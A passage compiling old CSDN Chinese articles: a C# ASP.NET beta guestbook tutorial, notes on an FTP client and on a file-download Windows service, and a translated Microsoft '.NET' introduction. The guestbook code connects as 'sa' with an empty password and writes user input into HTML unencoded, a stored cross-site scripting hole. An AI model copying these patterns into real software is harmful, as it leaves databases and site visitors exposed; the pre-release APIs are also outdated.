myCommand.Parameters["@a_strTitle"].Value = n_Topic.Title ;

myCommand.Parameters.Add(new SQLParameter("@a_strAuthor" , SQLDataType.VarChar,50)) ;
myCommand.Parameters["@a_strAuthor"].Value = n_Topic.Author ;

myCommand.Parameters.Add(new SQLParameter("@a_strContent" , SQLDataType.VarChar,2000)) ;
myCommand.Parameters["@a_strContent"].Value = n_Topic.Content ;

try
{

myConn.Open() ;
myCommand.ExecuteNonQuery() ;

//清场

myConn.Close() ;

}
catch(Exception e)
{
throw(new Exception("取贴子失败:" + e.ToString())) ;
}
return true;

}

/// <summary>
/// 取的贴子列表
/// </summary>
/// <remarks>
/// 返回一个Topic数组
/// </remarks>
public ArrayList GetTopicList()
{
//定义一个forum数组做为返回值
ArrayList arrForumList =new ArrayList() ;

//从数据库中读取留言列表
myconn myConn = new myconn();
SQLCommand myCommand = new SQLCommand() ;
myCommand.ActiveConnection = myConn ;
myCommand.CommandText = "n_GetTopicList" ; //调用存储过程
myCommand.CommandType = CommandType.StoredProcedure ;

try
{
myConn.Open() ;
SQLDataReader myReader ;
myCommand.Execute(out myReader) ;

for (int i = 0 ; myReader.Read() ; i++)
{
notepage objItem = new notepage() ;
objItem.ID = myReader["ID"].ToString().ToInt32() ;
objItem.Title = myReader["Title"].ToString() ;
objItem.Author = myReader["Author"].ToString() ;
objItem.adddate = myReader["adddate"].ToString().ToDateTime();
objItem.Content = myReader["Content"].ToString();

arrForumList.Add(objItem) ;
}

//清场
myReader.Close();
myConn.Close() ;

}
catch(SQLException e)
{
throw(new Exception("数据库出错:" + e.ToString())) ;
//return null ;
}

return arrForumList ;
}

}
}


csdn_利用c#制作简单的留言板(2)

利用c#制作简单的留言板(2)
myconn.cs
namespace notpage
{
using System;
using System.Data.SQL ;</P><P> /// <summary>
/// Summary description for myconn.
/// </summary>
public class myconn:System.Data.SQL.SQLConnection
{
private void InitializeComponent ()
{
}

public myconn()
{
//
// TODO: Add Constructor Logic here
//
this.Database = "back" ;
this.DataSource = "LUOCHANG" ;
this.UserID = "sa" ;
this.Password = "" ;
}
}
}
添加留言addTopic.aspx
<%@ Page language="c#" Codebehind="AddTopic.cs" AutoEventWireup="false" Inherits="notpage.AddTopic" %>
<html><head>
<meta content="Microsoft Visual Studio 7.0" name=GENERATOR>
<meta content=C# name=CODE_LANGUAGE></head>
<body>
<form method=post runat="server">
<table cellSpacing=1 cellPadding=1 width="88%" border=0>
<tr>
<td>留言主题：</TD>
<td><asp:textbox id=txtTitle runat="server" maxlength="80" columns="65"></asp:textbox></TD></TR>
<tr>
<td>姓名：</TD>
<td><asp:textbox id=txtAuthor runat="server" maxlength="40" columns="20"></asp:textbox></TD></TR>
<tr>
<td>留言内容</TD>
<td><asp:textbox id=txtContent runat="server" maxlength="2000" columns="50" rows="20" TextMode="MultiLine"></asp:textbox><asp:button
id=btnSubmit runat="Server"
text="确认"></asp:button></TD></TR></TABLE></FORM>

</body></html></P><P>对应的cs
namespace notpage
{
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;</P><P> /// <summary>
/// Summary description for AddTopic.
/// </summary>
public class AddTopic : System.Web.UI.Page
{
protected System.Web.UI.WebControls.TextBox txtContent;
protected System.Web.UI.WebControls.TextBox txtAuthor;
protected System.Web.UI.WebControls.TextBox txtTitle;
protected System.Web.UI.WebControls.Button btnSubmit;

public AddTopic()
{
Page.Init += new System.EventHandler(Page_Init);
}</P><P> protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//
// Evals true first time browser hits the page
//
}
}</P><P> protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
InitializeComponent();
}</P><P> /// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
btnSubmit.Click += new System.EventHandler (this.OnSubmit);
this.Load += new System.EventHandler (this.Page_Load);
}
public void OnSubmit(Object sender , EventArgs e)
{

if (Page.IsValid)
{
//数据入库
try
{

notepage objNp = new notepage();
objNp.Title = txtTitle.Text;
objNp.Author = txtAuthor.Text;
objNp.Content = txtContent.Text;
objNp.adddate = System.DateTime.Now;
notepage objNp1 = new notepage();
if(objNp1.AddTopic(objNp))
{

Response.Write ("<p align=center class=cn>成功留言，点击<a href = list.aspx>此处</a>查看留言列表！。</p>") ;
}
}
catch(Exception exp)
{
#if DEBUG
Response.Write ("出现异常：" + exp.Message) ;
return ;
#endif//DEBUG

}
}

}</P><P> }
}


csdn_利用c#制作简单的留言板(3)

利用c#制作简单的留言板(3)
显示列表list.aspx
<%@ Page language="c#" Codebehind="list.cs" AutoEventWireup="false" Inherits="notpage.list" %>
<html><head>
<meta name="GENERATOR" Content="Microsoft Visual Studio 7.0">
<meta name="CODE_LANGUAGE" Content="C#"></head>
<body>

<form method="post" runat="server"></P><P> </form><a href = "addTopic.aspx">发表留言</a><br>
<TABLE WIDTH="90%" HEIGHT="1" BORDER="0" CELLSPACING="2" CELLPADDING="2" id=liuyan>
<TR>
<TD>主题</TD>
<TD>留言人</TD>
<TD>留言时间</TD>
</TR>

<asp:label id="n_tdtitle" runat=Server></asp:label>

</TABLE></P><P> </body></html>
namespace notpage
{
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;</P><P> </P><P>
/// <summary>
/// Summary description for list.
/// </summary>
public class list : System.Web.UI.Page
{
protected System.Web.UI.WebControls.Label n_tdtitle;

public list()
{
Page.Init += new System.EventHandler(Page_Init);
}</P><P> protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//
// Evals true first time browser hits the page
//
}
}</P><P> protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
InitializeComponent();
Init_tdtitle();
</P><P> }
</P><P> /// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler (this.Page_Load);
}

protected void Init_tdtitle()
{
InitializeComponent();
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
try
{
notepage np = new notepage();</P><P> ArrayList arrTopic = np.GetTopicList();

for ( int i = 0 ; i < arrTopic.Count ; i ++)
{
notepage objTopic = (notepage)arrTopic[i] ;
string str ="<tr><td><a href = showTopic.aspx?id="+objTopic.ID.ToString()+">" + objTopic.Title.ToString() + "</a></td>";
str = str +"<td>" + objTopic.Author.ToString()+"</td>";
str = str +"<td>" + objTopic.adddate.ToString()+"</td></tr>";
n_tdtitle.Text = str + n_tdtitle.Text;
}
}
catch(Exception e)
{
throw(new Exception("取得贴子列表出错：" + e.ToString())) ;
}</P><P> }
}
}


csdn_利用c#制作简单的留言板(4)

利用c#制作简单的留言板(4)
查看留言内容showtopic.aspx
<%@ Page language="c#" Codebehind="showTopic.cs" AutoEventWireup="false" Inherits="notpage.showTopic" %>
<html><head>
<meta content="Microsoft Visual Studio 7.0" name=GENERATOR>
<meta content=C# name=CODE_LANGUAGE></head>
<body>
<form method=post runat="server">
<p align=center><font color=red><b>察看留言</b></font></p><br>
<p align=left><font color=blue>留言主题：<asp:label id=n_tdtitle runat="Server" forecolor="Black"></asp:label>
<br>留言时间：<asp:label id=n_tdAdddate runat="Server" forecolor="Black"></asp:label><br></font><font color=blue>留言人：
<asp:label
id=n_tdAuthor runat="server" forecolor="Black"></asp:label><br>留言内容：<asp:label id=n_tdContent
runat="Server" forecolor="Black"></asp:label> </font></p></form>

</body></html>
对应的cs
namespace notpage
{
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;</P><P> /// <summary>
/// Summary description for showTopic.
/// </summary>
public class showTopic : System.Web.UI.Page
{
protected System.Web.UI.WebControls.Label n_tdAuthor;
protected System.Web.UI.WebControls.Label td;
protected System.Web.UI.WebControls.Label n_tdContent;
protected System.Web.UI.WebControls.Label n_tdAdddate;
protected System.Web.UI.WebControls.Label n_tdtitle;
protected System.Web.UI.WebControls.Label n_ttitle;

public showTopic()
{
Page.Init += new System.EventHandler(Page_Init);
}</P><P> protected void Page_Load(object sender, EventArgs e)
{
if (!IsPostBack)
{
//
// Evals true first time browser hits the page
//
}
}</P><P> protected void Page_Init(object sender, EventArgs e)
{
//
// CODEGEN: This call is required by the ASP+ Windows Form Designer.
//
int int_ID;
int_ID = Request.QueryString["ID"].ToInt32();
notepage np = new notepage();
notepage objNp = np.GetTopic(int_ID);
n_tdtitle.Text = objNp.Title.ToString();
n_tdContent.Text = objNp.Content.ToString();
n_tdAuthor.Text = objNp.Author.ToString();
n_tdAdddate.Text = objNp.adddate.ToString();
InitializeComponent();
}</P><P> /// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler (this.Page_Load);
}
}
}


csdn_用C#写的FTP客户端

用C#写的FTP客户端
一个用C#写的FTP客户端。界面像资源管理器。有源码，大家可以研究一下。
>>下载地址:
点此下载


csdn_C#的文件下载

C#的文件下载
这是一个运行在web服务器上并且监视c:\temp中的一个文本文件，如果发生了变化
它就自动将compPrj.dll从服务器下载到本地的c:\root目录。这个应用作为Windows 2000的服务安装并且用FileSystemWatcher组件监视文件。
注意: FileSystemWatcher 需要 .NET framework
System Requirement:
Windows2000
Microsoft .NET Framework Beta 1
Internet Information Server (IIS 5.0)
Visual Studio 7.0 Beta 1

Programming Language: C#

Purpose:
The purpose of this utility is to understand the following using .NET Framework:
-How to write and install Window Services,
-How to write internet Application using Http protocol.
-How to use Streams to read and write in a file.

Description:
File download utility is a web application which resides on the web server and monitors a txt file in c:\temp subdirectory. If it detects a change in this file, it downloads compPrj.dll from the web server ("http://localhost/files/compPrj.dll") to C:\ root directory. I have hardcoded file names and paths to simplify the program.

This Application is installed as Windows2000 Service and it uses FileSystemWatcher component for monitoring the files.
NOTE: FileSystemWatcher needs .NET framework.

The Application consist of two programs srvDownload.cs and srvInstaller.cs.

SrvDownload:
-SrvDownload is Windows2000 service class. From the VS IDE select windows Service project. A template class will be created with the constructor and all the required methods.
-In the InitializeComponent method assign the service a name( like srvDownload).
-In the Onstart method create an instance of FileWatcher component and set the following properties:

.Path The path of the file that is to be monitored.
.Target Indicates whether files, directory or both needs monitoring.
.ChangedFilters Specifies the changes to watch for in a file or folder. The possible values are:
.Attributes - The attributes of the file or folder.
.LastAccess - The date that the file or folder was last opened.
.LastWrite - The date that the file or folder was last written.
.Security - The security settings of the file or folder.
.Size - The size of the file or folder.
.Enabled Indicates whether the component is enabled.
.Filter Indicates what files are monitored in a directory. For all files use *.*, for Text use txt.

-Finally, add the Event handler. Since, this Application is only monitoring the CHANGED event therefore only onChanged event is added. However, you can add other events that you want to monitor such as onDelete or on Rename etc.

When a file is changed, the OnChange event is fired which downloads file CompPrj.dll from the web server to the client machine's
c:\ direcory. The download functionality uses .NET classes HttpWebResponse, HttpWebRequest. HttpWebRequest class manages the details of connecting to an Internet resource via Http. WebResponse class acts as a container for the incoming response. This response is then stored in a file using .NET I/O stream classes.

SrvInstaller.cs
An installer is needed to install the service therefore add installer to the same project solution. A template class will be created with the constructor.

In order to install services, ServiceInstaller and ServiceProcessInstaller classes from System.ServiceProcess namespace is required, one for the service and another for service process respectively.

Therefore instances of these classes is created inside the installer constructor. You can also set ServiceInstaller properties in the constructo such as Display Name, Service name etc. After setting the properties, add the service to Installers collection.

Service Installation:
-Build your project using VS Build.
-Install the service using InstallUtil from the Command prompt.
e.g. c:>installutil drvDownload.exe
-After successfully installing the utility, go to MyComputer and select Manage, this will take you to Computer Management screen. Select Services and you will see the drvDownload service.
-Start the Service.
-Change or Create a txt file in c:\temp subdirectory and this will download compprj.dll from the web server virtual directory files to c:\ root directory.

>>下载地址:
点此下载


csdn_.net 简介、hello world 和 .net runtime 一瞥

  .net 简介、hello world 和 .net runtime 一瞥
作者： microsoft
dr. gui.net #0
.net 简介、hello world 和 .net runtime 一瞥
什么是 .net
dr. gui 对 .net 框架的回顾
全新的开始而不用从头再来：.net runtime
现在学习 .net 的原因
运行 beta 1 所需的条件
编写 .net 程序
hello world.net
实践与探讨

dr. gui 回来写教程了！
如果您是 dr. gui 的 com 和 alt 系列栏目的忠实读者，那么在过去的几个月中或许会想念博士的联机专栏文章。（对了，com 和 alt 系列的提前结束要归咎于 dr. gui 的经理给博士安排了一项关于电子商务的工作。）

但是至少 dr. gui 还继续在 msdn 新闻（英文）中主持“ask dr. gui”栏目。现在，dr. gui 又有了新任务：帮助大家学习 .net 框架。

那为什么是 dr. gui.net 呢？
“ask dr. gui”的热心读者都知道 dr. gui 特别热衷于 microsoft .net。现在我们的博士也搞不清楚 .net 到底包含什么不包含什么。（如果您想弄清楚这一点，请浏览 .net web 的正式站点 http://www.microsoft.com/net/。）这种命名的混乱让人回想起 activex® 时代。只要有促销活动，就会有命名的混乱。dr. gui 赞成“activex”中的“x”不发声的主张，只可惜这主张已是昨日黄花。

不管我们的博士是否清楚什么属于 .net 而什么不属于，以及在未来几年中它还会发生多大的变化，他确实理解对于开发人员至关重要的关键部分：.net 框架。倒不仅仅是因为他“获取”了这个部分，而是他为之兴奋不已：它将使开发工作更有趣味也更有成效。而且，.net 框架在未来的几年中将不断获得改进，它不会消亡的。

.net 框架的不幸之处就是迄今为止它尚未上市。现在仅仅能够得到技术和 visual studio.net 的第一个 beta 版，您可以在 .net 的大本营：msdn 的 .net 开发人员中心的网站 http://msdn.microsoft.com/net/ 上获得它。您可以只要 .net 框架sdk 或者连同整个 visual studio.net。visual studio.net 包括了 .net 框架sdk。这一点我们以后再聊。

它是真的吗？
您或许会想起 dr. gui 有一个原则，就是不为那些不真实的东西写文章。他很少冒险违反这个原则。（我们的博士曾经为 sql server™ 2000 和 windows® 2000 而恼火，他不得不在它们上市之前就写了大量文章。事实证明博士基本上是正确的，大多人只有到能看到实际的产品时才能理解产品。直到现在，他还在为被称为“dr. hormel”而伤心。）

那为什么 dr. gui 现在就要为 .net 写文章呢？

原因非常简单：.net 还未上市，不过它很是真实。您可以成为圈子里第一个下载 .net 框架（或得到 cd）的人，然后自己先试用一下。您不必把博士的话当真。如果您不是要编写明天就得交付的 .net 应用程序，也不太介意风险的话，您可以从现在着手，开始用它来进行 2001 年晚些时候才需交付的新项目。这样，您就可以先利用预发布版开始学习 .net，在它上市之前就做好准备，领先您的同行一大步。

什么是 .net？
现在要指出什么是 .net 而什么不是还很困难。但是，如果您理解是哪些关键因素推动着 .net，您也就更容易了解 .net。

世界的变化
想想我们这个行业里出现的一些趋势。很多人正在抛弃没有联网的单台 pc 机，开始使用通过 internet 同时连接到多个应用程序的 pc 机以及各种名目繁多的设备。连接到 internet 的方式多种多样，有线的、无线的，基带的、宽带的。他们开始期望无论身处何地，无论使用何种设备，都能够以适当的形式获得他们的重要信息。并且，既然能够通过 internet 获得信息，他们就希望能把从多个来源获得的数据合成为有意义的信息。最后，他们期望能够从容地使用软件而不必忙于安装和升级，他们还期望这一切远远比过去的 pc 机可靠。

那还只是在客户端机器上发生的变化。internet 已经使基于服务器的应用程序得到空前广泛的应用。但是服务器之间的通讯，尤其是在不同平台上运行的服务器之间的通讯特别困难。例如，处理不同的浏览器和浏览器的不同版本时是多么麻烦，更甭提各种不同的无线设备。并且因为大多数真实的 internet 应用程序都是以数据库为中心的，方便地访问多种的数据源的能力比以往任何时候都更加重要。

.net 如何帮助您适应变化
.net 框架可以使您更轻松地实现这类功能。它包括用于设备的 .net compact framework，这使得在各种设备上而不仅仅是在 pc 上利用 .net runtime 成为可能。从最底层开始，.net 的设计就是以适应 internet 的需要为目标，融合了各种 internet 标准，包括对 web 服务的支持，使程序可以方便地从多个站点上获取数据；广泛运用 xml 语言，使得不同计算机系统之间的数据互换变得简单易行。.net 还使您能够更容易地访问数据，更容易地编写出能在众多不同浏览器和设备上良好运行的 web 应用程序，而不用再为每种设备或浏览器分别编写程序。最后，.net runtime 支持简化和可靠的安装和升级，使用更简便，可靠性更好。它和 .net runtime 的安全性及版本管理功能相结合，也提高了可靠性，并使软件可以作为一种服务而不是产品来出售。

使用 web 服务将数据从多个数据源集成为可以使用的信息
另一个重要的趋势是应用程序为达到某种目的而从多个数据源集成信息。典型的示例就是计划一个商务旅行：您需要机票、租用汽车和酒店。您想去商店购物，并希望所需的每一种商品的价格都符合您的标准，所以需要从三组不同公司中获得数据；您的旅行还需要调整，以便按时到达，且到达时有汽车、有酒店房间（当然要有以太网），并且能及时回家。web 服务使用 soap 和标准的 xml 架构帮助应用程序以业界标准的方式在 internet 上通讯，所以应用程序可以使用并共享另一台计算机上的信息，而不管另一台计算机所使用的平台。.net 框架使编写和使用 web 服务成为一件非常简单的事情。但是，如果您想要看用 .net 实现复杂的真实 web 服务示例，请打开网站 http://terraserver.microsoft.net/，上面展示了世界各地的地图和航拍照片信息（microsoft 的 terraservice 工程提供）以及其他信息，如美国人口普查数据。

.net 还包括 .net enterprise servers 服务器软件，它集成了 .net 的功能并使它更易于使用。您可以在网站 http://www.microsoft.com/servers/net/ 上学习更多有关 .net enterprise servers 的知识。

最后还要说明重要的一点，microsoft 要提供诸如身份验证和日历服务等功能作为 web 服务，您可以像使用本地对象一样方便地使用它。如果能够以可负担的价格购买所需的功能模块，使用 opws（其他人员的 web 服务，sec [其他人的代码] 的变种）通常是件好事。您也许有兴趣了解第一个 microsoft web 服务，即 passport 身份验证服务 (http://www.passport.com/consumer/default.asp?pplcid=1033)，根据点击次数计算，即使是今天，该网站仍是十大 web 站点之一。但是点击次数是由使用 passport 来验证用户身份的 web 站点（例如 hotmail）在幕后生成的。

所以，.net 框架使编写新型的应用程序变得更简单，这类应用程序容易安装，并比以前的应用程序更可靠。因为这些程序利用了 microsoft 和其他公司/人（也许就是您）提供的 web services，因此非常强大。

dr. gui 对 .net 框架的回顾
microsoft 操作系统 api 集的简要历史
使用 .net 框架编程不同于使用 win32® api 编程，正如 windows 编程与 dos 编程大相径庭。每一个 api 都是某一个时代的产品：dos api 是八十年代早期的产品；windows api 是八十年代中期的产品；而 .net api 是九十年代后期的产品。

dos
回溯 dos api 的设计目的，是用于小型计算机系统上众多单一任务操作系统。尽管在微机问世的时代很流行使用 unix 和 vms 操作系统，但微机没有足够的内存或速度来运行这些相对来说较复杂的操作系统。由于内存和速度的限制，诸如 dos 之类的操作系统主要用汇编语言编写，所以它们尽可能地小而快。dos 的 api 主要是绝对需要汇编语言（可能通过使用至少部分使用汇编语言编写的运行时库）来调用的软件中断调用（还记得 int 21h 中断吗？）的集合，系统只提供了数量很少（低分）的服务，主要是面向磁盘和字符输入/输出模式。dos 只支持单一任务（因此，只能执行单线程），并且 dos 程序始终控制着计算机系统，当程序无事可做的时候，就循环检测是否有键盘输入。

windows
windows api 设计于八十年代早期，那时的美国总统是里根，c 语言是绝大多数系统程序员的首选语言。（某些重要的系统都是用 pascal 语言编写的，其性能和 c 语言相似。）stroustrup 的 c++ 编程语言直到 1986 年才出版。那时正在风行“结构化编程”，程序员们学习如何避免使用 goto，直到九十年代，面向对象的编程才开始成为主流。

结果是，只有 c（或 pascal）程序员才会喜欢 win32 api。有且仅有一个名称空间，所有的数百个（后来是数千个）api 名称很长，且 api 编写者提出不同的命名惯例以将其分类。这些语言不直接支持抽象的数据类型，所以程序员又提出命名方案，例如 microsoft 的匈牙利方案（charles simonyi 提出），在标识符的前面添加缩写前缀来表示抽象的变量类型（如“i”表示索引，“c”表示计数，它们都用作基础语言类型“int”）。

但是在 windows 中最重要的差别是使用了图形用户界面，因此必须完全重新调整程序的结构，因为 windows 支持多任务（尽管不是在 win16 中的多线程），当程序无事可做的时候，将控制权返回给操作系统。所以，不是由程序始终保持控制，而是将程序重新调整为消息句柄的集合，每个句柄都对来自操作系统的消息（例如，单击鼠标和按键）做出回应，并尽可能快地将回应返回给操作系统，再等待下一条消息。在重新调整应用程序结构以后，windows 的诸多特性开始发挥作用，如设备无关性和强大的标准化用户界面功能，包括窗口、对话框、控件（如按钮、列表框和编辑控件）以及菜单。

面向对象的编程
在九十年代早期，开始流行面向对象的编程。通过面向对象的编程，可以编写在程序的对象之间具有较好定义的交互和极少量未定义的交互的较大项目。并且对象允许程序员以更有效的方式创建抽象概念，使编程较之以往更上一层。

visual basic® 在运行时封装了大量消息路由逻辑，程序员可以使用基于对象的方式，通过让 visual basic 程序员集中编写消息处理函数来进行 windows 编程。当 c++ 成为流行语言时，诸如 mfc 的类库允许允许程序员使用应用程序框架提供的大量默认交互来将 windows 应用程序编写为交互对象组。

在面向对象的编程思想广泛传播之前，用 visual basic 和 mfc 程序编写的 api 仍然是 windows api。(公正地说，实际上 windows 包含了面向对象的概念。）但是，visual basic 和 mfc 运行时库的大小证明了一个事实，那就是需要越来越多的努力去弥补面向对象编程思想和旧编程思想（单层 api 集）之间的差距。

组件
九十年代中期开始流行一种新概念：软件可以由可互换的组件构成，一套组件可以装配出音频系统或家庭影院。这个观点是通过严格定义接口和根据明确定义的约定来实现的，您可以用相对容易的方法混合和装配软件的组件。

支持基于组件的编程思想要求对 windows、ole 和 com 中的单层 api 附加新内容。某些附加内容非常复杂，因为基于 c 的 api 从来不会自动支持诸如软件对象的动态创建和对象的自动生存期管理等操作，不必提及 c 语言和 c++ 语言可用于编写单片机的应用程序，这些应用程序不是由一组组件构成的。

因此，编写组件成为非常乏味的工作，并且需要文件和转换器以弥补语言并不真正支持基于组件的编程这个缺憾。尽管 visual basic 和诸如 atl 之类的库减轻了编写组件的乏味性，但许多高级的（但是有趣的）操作仍然相当困难。而且新版本组件常常由于 windows 缺少支持灵活处理不同版本的特性而导致现有的应用程序中断。

如此多的功能，如此少的通用性
最后，在这段时间里有各式各样的 api 被添加到 windows 中，致使编程模型中出现巨大的矛盾，甚至原始的 windows api 也出现了一些矛盾，看一下窗口、菜单和控件的处理与设备环境、画笔、字体和画刷的处理之间的差异就能了解。但更严重的问题是：在 windows 中大概有六种（也许更多，dr. gui 还未仔细计数）处理错误的不同方式。大概有六种字符串类型。这仅仅是冰山的一角而已。

很清楚，在杂乱无章的 api 编程模型和对基于组件的程序和 internet 编程的巨大支持的需求之间，恰恰是一种新型的、明确设计的、协调的现代 api 成熟的时机。microsoft 推出了 .net 框架以解决这些问题。

全新的开始而不用从头再来：.net runtime
正如八十年代后期停止以旧的 dos 方式编写程序一样（什么？放弃 tsr？），现在是时候让 windows 程序员们考虑一下了，摆脱使用单层、过时的 windows api，转而使用新型的、面向对象且基于组件的 api。dr. gui 建议您尝试一下 .net 框架和 runtime 以便了解现代的 runtime 是如何工作的。

基于组件成为核心
若要理解 .net runtime，您必须理解 .net runtime 的设计目的是直接在 runtime 中为现代基于组件的编程提供第一手支持。换句话说，全部是围绕组件进行的。如果您理解这一点，理解为什么要将 .net runtime 设计成现在的样子就简单多了。

正如在 windows 中添加了对窗口、控件、图形和菜单的直接支持，为基于消息的编程添加了底层结构，为支持设备无关性添加了抽象内容一样，.net runtime 直接支持组件（包括属性和事件）、对象、继承性、多态性和接口。它还提供支持以允许您使用二十多种不同编程语言中的任一种，仍然用非 .net 代码交互，而且不管这些代码是在您本机上运行还是在不同的计算机上运行。换句话说，.net 代表了一种全新的、现代化的起点，且不必从头再来：您可以使用多种语言，从熟悉的语言到外来的语言，并继续使用旧的组件和 dll 而不用对其进行修改。您甚至可以象使用任何 com 对象一样使用 .net 组件，这样新的 .net 代码可以和旧的 com 应用程序一起使用。（您也许想要将这种语言的灵活性与易于协作性与市场上的其他运行时系统，尤其是那些以“j”开头的遗留代码对比）。

.net runtime 的其他主要功能的设计目的是为组件开发提供第一手支持。对属性和事件的直接支持使得基于组件的编程变得更简单，而不需要特殊的接口和适配设计模式。自动内存管理处理棘手的对象生存期问题。序列化支持允许以多种格式编写“冻干”组件，包括基于业界标准 xml 的 soap（并不只是专利二进制格式），并且以后重新组织它们。有了调用和创建业界标准 web 服务的能力，您可以向 internet 上任何地方、使用任何设备的任何人展示组件，也可以使用 internet 上任何地方的任何设备上的组件。例外提供了处理错误条件的有力、协调的方式。每个模块都具有内置的完整元数据，这意味着诸如动态创建和方法调用之类的功能更容易，也更安全。（.net 甚至允许您灵活地创建和执行代码。）您可以控制应用程序使用的组件的版本，这使应用程序更可靠。最后，该代码是与处理器无关的和易于验证的中间语言 (il)，而不是某一种特定的机器语言，这意味着组件不但可以在多种计算机上运行，而且可以确保组件不会覆盖它们不使用的内存，也不会潜在地导致系统崩溃。

.net runtime 包含这里提到的每一个关键特征，所以，您可以很容易地编写出有活力的面向对象的组件。

请稍等，还有很多内容！
.net runtime 除了提供全部强大的组件支持功能外，还包括大量的类，其设计目的是提供解决现代编程问题的底层结构，包括与 asp.net 协同工作的复杂的、基于组件的 web 服务器应用程序支持（并支持将各种各样的浏览器和移动设备作为客户），xml 支持，增强的数据库访问等等。

并且很快就要被标准化
最后，.net runtime 的主要部分，即公共语言基础结构 (cli) 随同 c# 语言和 il 格式一起正处在由欧洲计算机制造协会（ecma，标准化 javascript 和 jscript® 的组织，http://www.ecma.ch/ecma1/stand/ecma-262.htm）标准化的过程中，这将为其他公司在不同平台上开发兼容的 .net 实现铺平道路。关于 c# 和 cli 标准化的详细信息，请参见 http://msdn.microsoft.com/net/ecma/。

现在学习 .net 的原因
既然 .net 还未正式上市，为什么要下载或定购 .net 的 beta 1 版，并且从现在就开始学习它？

简而言之，您已经有了很好的机会成为最先尝试 .net 并在它正式上市前已经准备就绪的人。对 dr. gui 来说，这是令人振奋的：您看，博士以前总在 windows、mfc、com 和 atl 的潮流后面苦苦追赶，他多么希望自己能够早一点学习这些技术。这一次，它充分利用这次机会率先窥探 .net 的秘密。

抓住学习 .net 的机会
所有早期的迹象都表明 .net 框架必将成为高效且大受欢迎的编程平台，所以它很快就会得到广泛应用。早一点学习，就会处于有利于地位。在其他人对它还不甚了解的时候，您已经能熟练和高效地运用这项新技术工作。顺便说一句，编写 .net 程序既简单又有趣。

dr. gui 的指示：.net 的练习每周只需一小时
...让程序更健壮
因为 .net 才出现不久，而且还未正式上市，dr. gui 建议您先走一步，就是：每周抽出一小时学习 .net。

这些教程文章每月发表两次，其中包含的练习能帮助您真正地了解您所阅读的内容。所以，假设您花一小时来阅读这些文章（越往后阅读文章所花的时间会越少），一、两小时来做练习，那么您付出相对较小的努力就能学到一些有用的新技术——平均每周一小时。

每周花费一小时学习，您得到的是关于 .net 框架的牢固知识。您将对它的工作方式了如指掌，并且在 .net 平台上编程得心应手。

和一个（两个，或更多）朋友一起做
一个有经验的伙伴能够帮助您处理许多问题，和您的朋友或同事一道学习 gui.net 将有助于您更好地完成学习，乐趣也更多。和一群人一起学就更好了。可以成立一个讨论小组，或者只是在完成每套练习时（或有问题而难以继续时）互传电子邮件。

我们将讨论的内容
由于 .net 框架非常巨大，您可能会感到疑惑，我们将讨论些什么，什么时候讨论？

我们将从最基本的内容开始这个专栏。您已经阅读过关于 .net 框架要解决的问题。下一步，我们将讨论 .net runtime 的各个方面，包括必要的“hello world”程序，还将简单介绍元数据和中间语言 (il)——.net 的机器语言。

下一次，我们将开始讨论 .net 框架的基础，包括所有类的父类，system.object。我们还要讨论垃圾回收和一些关于接口的内容。

在此之后，将用几篇文档讨论如何使用 .net 框架和 runtime 的基础：数据类型、例外、文件和网络 i/o、序列化、线程和计时器以及调试。

然后，我们将了解 windows 程序员熟悉和喜爱的图形用户界面类。

.net 框架中有许多用于访问数据库、xml 和 web 应用程序的重要特征，但是博士目前计划让别人讨论这些问题。

每个专栏都有一个示例程序、示例的解释以及您可以尝试完成的练习，所有示例都用 c# 语言编写，集中说明较大的概念，以便您能够更好地理解 .net 深处的设计技巧。

使用 c# 语言的原因
既然 .net 支持大约二十种语言，为什么 dr. gui 所有关于 .net 的专栏都使用称之为 c# 的新语言来编写？原因非常简单：正如 c 语言是用来编写 windows 程序的，c# 语言是用来编写 .net 程序的。.net 框架中的大多数内容都是使用 c# 语言编写的，但是您可以在 .net 中使用多种语言编程，用 c# 语言是为了在 .net 中使用和支持基于组件的编程而特别设计的。同时，c# 语言还是一种非常好的编程语言。它易于使用,但是又没有那些名称以“j”开头的语言所具有的问题。例如，您能够以 c# 语言来编写 swap 函数（在名称以“j”开头的语言中则不能这样做，这是令 dr. gui 对那种语言产生反感原因之一）。

另外，通过使用 c#，您在学习 .net 的同时也学习了 c# 语言。如果您选择使用另一种语言，看以 c# 语言编写的示例不会带来负面影响：.net 框架和 runtime 您使用的任何语言都适用。

如果您更愿意使用其他某种语言，将代码转换为您所使用的语言相对来说比较简单。但是 dr. gui 这个家伙却没有时间完成这项工作。如果有人想要进行这项工作，dr. gui 也许能够提供到您的转换后的代码的链接——但这并非承诺。

运行 beta 1 版所需的条件
运行 visual studio.net 的 beta 1 版所需的条件相当简单：计算机的操作系统为 windows 2000、windows nt® 4.0、windows 98 或 windows me。（可能会在以后的 beta 版本中支持其他操作系统，例如 whistler beta 版和 windows 95。）计算机还必须具备相当快的运算速度（要求 pii/450，建议使用 piii/733）、1 gb 或 2 gb 硬盘空间、128 mb 内存（建议使用 256 mb 内存），至少有 super vga (svga) 视频和 cd-rom 或 dvd-rom 驱动器。如果您只想安装 .net 框架sdk，cpu 和内存的要求可以稍微低一些；硬盘空间的需求可显著降低（只需 100-200 mb 就足够了）。

